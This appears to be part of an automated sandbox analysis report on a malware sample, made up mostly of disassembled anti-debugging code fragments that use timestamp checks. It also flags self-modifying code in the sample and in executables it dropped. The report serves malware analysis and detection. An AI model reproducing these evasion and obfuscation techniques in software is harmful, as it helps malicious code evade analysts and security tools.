Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90888 second address: 4A908E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 call 00007F3100E5D171h 0x0000000a push eax 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d popad 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F3100E5D179h 0x00000016 sub si, C236h 0x0000001b jmp 00007F3100E5D171h 0x00000020 popfd 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 ret 0x00000026 nop 0x00000027 push eax 0x00000028 call 00007F310576DA49h 0x0000002d mov edi, edi 0x0000002f pushad 0x00000030 mov ah, bl 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A908E6 second address: 4A9091A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3100FA300Fh 0x0000000a add cx, A01Eh 0x0000000f jmp 00007F3100FA3019h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9091A second address: 4A90920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90920 second address: 4A90924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90924 second address: 4A90979 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F3100E5D174h 0x00000010 sbb eax, 0BB6E548h 0x00000016 jmp 00007F3100E5D16Bh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F3100E5D172h 0x00000023 mov ebp, esp 0x00000025 pushad 0x00000026 movzx ecx, dx 0x00000029 mov ecx, ebx 0x0000002b popad 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90979 second address: 4A9097D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9097D second address: 4A90983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90983 second address: 4A9099B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100FA3014h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40019 second address: 4A40036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40036 second address: 4A4003C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4003C second address: 4A40089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e mov bx, ax 0x00000011 pop eax 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 jmp 00007F3100E5D16Fh 0x0000001a mov ecx, 56C0903Fh 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3100E5D171h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40089 second address: 4A400B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3100FA300Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400B0 second address: 4A400C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400C0 second address: 4A400CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400CF second address: 4A400D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400D3 second address: 4A400D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400D7 second address: 4A400DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400DD second address: 4A400E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400E3 second address: 4A400E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400E7 second address: 4A4013C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e jmp 00007F3100FA3010h 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F3100FA3010h 0x00000019 push eax 0x0000001a jmp 00007F3100FA300Bh 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3100FA3010h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4013C second address: 4A40140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40140 second address: 4A40146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40146 second address: 4A401AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3100E5D16Eh 0x00000013 sbb si, 1C38h 0x00000018 jmp 00007F3100E5D16Bh 0x0000001d popfd 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F3100E5D176h 0x00000025 or eax, 2C251698h 0x0000002b jmp 00007F3100E5D16Bh 0x00000030 popfd 0x00000031 popad 0x00000032 popad 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401AF second address: 4A401B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401B3 second address: 4A401CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401CA second address: 4A401D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401D0 second address: 4A401D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401D4 second address: 4A40252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b pushad 0x0000000c mov ch, dh 0x0000000e call 00007F3100FA3016h 0x00000013 movzx eax, di 0x00000016 pop ebx 0x00000017 popad 0x00000018 mov esi, dword ptr [ebp+08h] 0x0000001b pushad 0x0000001c pushad 0x0000001d push esi 0x0000001e pop edi 0x0000001f pushfd 0x00000020 jmp 00007F3100FA3012h 0x00000025 and ax, 6CE8h 0x0000002a jmp 00007F3100FA300Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ax, 8CDFh 0x00000035 popad 0x00000036 xchg eax, edi 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a pushfd 0x0000003b jmp 00007F3100FA300Eh 0x00000040 and cx, 7F48h 0x00000045 jmp 00007F3100FA300Bh 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40252 second address: 4A4028D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F3100E5D174h 0x0000000c sub al, FFFFFFA8h 0x0000000f jmp 00007F3100E5D16Bh 0x00000014 popfd 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3100E5D16Bh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4028D second address: 4A40293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40293 second address: 4A40299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40299 second address: 4A4029D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4029D second address: 4A402F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a pushad 0x0000000b mov edi, esi 0x0000000d call 00007F3100E5D172h 0x00000012 pop esi 0x00000013 popad 0x00000014 mov cx, dx 0x00000017 popad 0x00000018 test esi, esi 0x0000001a pushad 0x0000001b mov esi, edi 0x0000001d call 00007F3100E5D16Fh 0x00000022 mov dx, si 0x00000025 pop esi 0x00000026 popad 0x00000027 je 00007F317333B4A0h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F3100E5D16Dh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A402F2 second address: 4A40307 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40307 second address: 4A403A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 pushad 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F3100E5D170h 0x0000001a sub esi, 72AA5D88h 0x00000020 jmp 00007F3100E5D16Bh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F3100E5D178h 0x0000002c sbb eax, 21C33FE8h 0x00000032 jmp 00007F3100E5D16Bh 0x00000037 popfd 0x00000038 popad 0x00000039 mov esi, 5AF99BDFh 0x0000003e popad 0x0000003f je 00007F317333B421h 0x00000045 jmp 00007F3100E5D172h 0x0000004a mov edx, dword ptr [esi+44h] 0x0000004d jmp 00007F3100E5D170h 0x00000052 or edx, dword ptr [ebp+0Ch] 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403A4 second address: 4A403AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403AA second address: 4A403B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403B0 second address: 4A403B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403B4 second address: 4A403F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F3100E5D16Bh 0x00000019 adc cl, FFFFFFEEh 0x0000001c jmp 00007F3100E5D179h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403F1 second address: 4A4045B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3173481288h 0x0000000f jmp 00007F3100FA300Eh 0x00000014 test byte ptr [esi+48h], 00000001h 0x00000018 pushad 0x00000019 mov bx, ax 0x0000001c mov edx, eax 0x0000001e popad 0x0000001f jne 00007F3173481282h 0x00000025 jmp 00007F3100FA3014h 0x0000002a test bl, 00000007h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F3100FA3017h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30990 second address: 4A30994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30994 second address: 4A3099A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3099A second address: 4A309D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F3100E5D16Eh 0x00000010 pushad 0x00000011 mov ch, 08h 0x00000013 jmp 00007F3100E5D16Dh 0x00000018 popad 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push edi 0x00000020 pop ecx 0x00000021 mov ax, bx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A309D7 second address: 4A30A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3010h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007F3100FA3010h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3100FA300Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A0D second address: 4A30A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A13 second address: 4A30A4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3100FA300Bh 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F3100FA3016h 0x00000015 xchg eax, esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A4C second address: 4A30B02 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov bl, CFh 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c mov ecx, ebx 0x0000000e pushfd 0x0000000f jmp 00007F3100E5D179h 0x00000014 and ecx, 422C12F6h 0x0000001a jmp 00007F3100E5D171h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 jmp 00007F3100E5D16Eh 0x00000027 mov esi, dword ptr [ebp+08h] 0x0000002a jmp 00007F3100E5D170h 0x0000002f sub ebx, ebx 0x00000031 jmp 00007F3100E5D171h 0x00000036 test esi, esi 0x00000038 jmp 00007F3100E5D16Eh 0x0000003d je 00007F3173342A22h 0x00000043 pushad 0x00000044 mov esi, 35405FFDh 0x00000049 push eax 0x0000004a mov ax, dx 0x0000004d pop ebx 0x0000004e popad 0x0000004f cmp dword ptr [esi+08h], DDEEDDEEh 0x00000056 jmp 00007F3100E5D170h 0x0000005b mov ecx, esi 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 mov edx, esi 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B02 second address: 4A30B71 instructions: 0x00000000 rdtsc 0x00000002 mov si, AE7Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov si, B39Bh 0x0000000c popad 0x0000000d je 00007F317348889Ah 0x00000013 jmp 00007F3100FA300Eh 0x00000018 test byte ptr [76FA6968h], 00000002h 0x0000001f pushad 0x00000020 movzx eax, dx 0x00000023 mov bh, B8h 0x00000025 popad 0x00000026 jne 00007F317348888Bh 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F3100FA3017h 0x00000035 sub ch, 0000005Eh 0x00000038 jmp 00007F3100FA3019h 0x0000003d popfd 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B71 second address: 4A30B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B76 second address: 4A30B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B7C second address: 4A30B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B80 second address: 4A30C3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F3100FA300Eh 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F3100FA3010h 0x00000019 push eax 0x0000001a jmp 00007F3100FA300Bh 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F3100FA3014h 0x00000027 or ecx, 675F8648h 0x0000002d jmp 00007F3100FA300Bh 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007F3100FA3018h 0x00000039 xor cl, FFFFFFA8h 0x0000003c jmp 00007F3100FA300Bh 0x00000041 popfd 0x00000042 popad 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 mov dx, ax 0x00000048 movzx ecx, di 0x0000004b popad 0x0000004c push eax 0x0000004d pushad 0x0000004e mov bh, cl 0x00000050 mov esi, edi 0x00000052 popad 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push esi 0x00000058 pop edx 0x00000059 mov esi, 616A329Bh 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30CEA second address: 4A30D03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D03 second address: 4A30D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100FA300Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40CA7 second address: 4A40CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D171h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40CBC second address: 4A40D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3100FA300Ch 0x00000013 xor esi, 31CF4658h 0x00000019 jmp 00007F3100FA300Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F3100FA3018h 0x00000025 sbb al, FFFFFFB8h 0x00000028 jmp 00007F3100FA300Bh 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D24 second address: 4A40D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D28 second address: 4A40D2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D2E second address: 4A40D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D178h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D4A second address: 4A40D9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3100FA3016h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F3100FA3010h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3100FA3017h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC068F second address: 4AC06AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC06AC second address: 4AC06BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC06BC second address: 4AC06C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A25 second address: 4AB0A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3100FA3013h 0x00000013 xor ch, 0000002Eh 0x00000016 jmp 00007F3100FA3019h 0x0000001b popfd 0x0000001c mov ax, 63B7h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A74 second address: 4AB0AC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, AA8Eh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3100E5D177h 0x00000013 and eax, 0F9E87EEh 0x00000019 jmp 00007F3100E5D179h 0x0000001e popfd 0x0000001f mov dx, si 0x00000022 popad 0x00000023 movzx ecx, di 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0AC8 second address: 4AB0ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0ACC second address: 4AB0AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0AD0 second address: 4AB0AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0AD6 second address: 4AB0B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3100E5D179h 0x00000009 xor cl, FFFFFF86h 0x0000000c jmp 00007F3100E5D171h 0x00000011 popfd 0x00000012 call 00007F3100E5D170h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d jmp 00007F3100E5D171h 0x00000022 pop ebp 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushfd 0x00000027 jmp 00007F3100E5D16Ah 0x0000002c or eax, 7359DE88h 0x00000032 jmp 00007F3100E5D16Bh 0x00000037 popfd 0x00000038 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 396A23 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3795CC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 706A23 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 6E95CC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Special instruction interceptor: First address: A9DC0E instructions caused by: Self-modifying code
